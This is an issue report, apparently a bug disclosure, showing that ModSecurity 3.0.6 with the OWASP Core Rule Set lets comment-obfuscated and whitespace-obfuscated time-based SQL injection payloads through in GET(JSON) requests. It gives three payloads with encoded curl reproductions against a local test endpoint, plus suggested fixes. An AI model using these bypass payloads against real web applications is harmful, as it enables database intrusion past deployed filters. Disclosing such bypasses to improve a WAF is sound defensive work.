Skip to content

ModSecurity GET(JSON): SQLi bypass via separator, literal, and annotation variants #3586

Description

@WAFSignal

[ModSecurity][GET(JSON)] SQLi bypass via lexical-separator variants and literal/annotation variants

Summary

  • WAF: ModSecurity
  • Request manner: GET(JSON)
  • Defect pattern: Lexical-separator variants and literal/annotation variants.
  • Evaluation scope: 623 unique SQLi mutation attempts; 257 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 3.0.6
  • Notes: ModSecurity-nginx connector v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • command_injection: combines space-to-comment substitution with comment rewriting
  • random_case: randomly changes capitalization of SQL keywords
  • spaces_to_comments: replaces spaces with inline block comments, or block comments with spaces
  • comment_rewriting: appends noise after line comments or rewrites block-comment contents
  • inline_comment: wraps SQL keywords in MySQL executable comments such as /*!SELECT*/

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
  • Transformed payload excerpt, with invisible characters rendered explicitly:
(/*TQ6M#*//*0x2@zCf*/0x1)%"));begin user_lock.sleep((SELECT/*Lhd#*/(SELECT/**/(SELECT/**/5))));/**/end/**/and/*tYS}*/(("%"=")Tu

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%28%2F%2ATQ6M%23%2A%2F%2F%2A0x2%40zCf%2A%2F0x1%29%25%5C%22%29%29%3Bbegin%20user_lock.sleep%28%28SELECT%2F%2ALhd%23%2A%2F%28SELECT%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5%29%29%29%29%3B%2F%2A%2A%2Fend%2F%2A%2A%2Fand%2F%2AtYS%7D%2A%2F%28%28%5C%22%25%5C%22%3D%5C%22%29Tu%22%7D'

Case 2

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
... end and '%' = '
  • Transformed payload excerpt, with invisible characters rendered explicitly:
 /* =jl$*/<TAB>/*nA?*//*_#<VT>*/'%' <TAB>/*0x8#$X1*/ '0x7*.0x4

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%20%2F%2A%20%3Djl%24%2A%2F%5Ct%2F%2AnA%3F%2A%2F%2F%2A_%23%5Cu000b%2A%2F%27%25%27%20%5Ct%2F%2A0x8%23%24X1%2A%2F%20%270x7%2A.0x4%22%7D'

Case 3

  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
...1" where 9669=9669;select sleep(5)--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1"/*K?2*//*=*//*bE*/9669=0x25c5;/**//*L\\#1O*/sleep((select 0x5))--<q

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%221%5C%22%2F%2AK%3F2%2A%2F%2F%2A%3D%2A%2F%2F%2AbE%2A%2F9669%3D0x25c5%3B%2F%2A%2A%2F%2F%2AL%5C%5C%231O%2A%2Fsleep%28%28select%200x5%29%29--%3Cq%22%7D'

Suggested Fixes

  • Apply canonicalization before SQLi matching: collapse TAB/CR/VT/FF/NBSP to ordinary spaces, normalize keyword case, and safely process regular and executable comments.
  • Normalize literal forms and comment-split tokens, for example 0x1 to 1 and uni/**/on to union, before evaluating SQLi rules.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions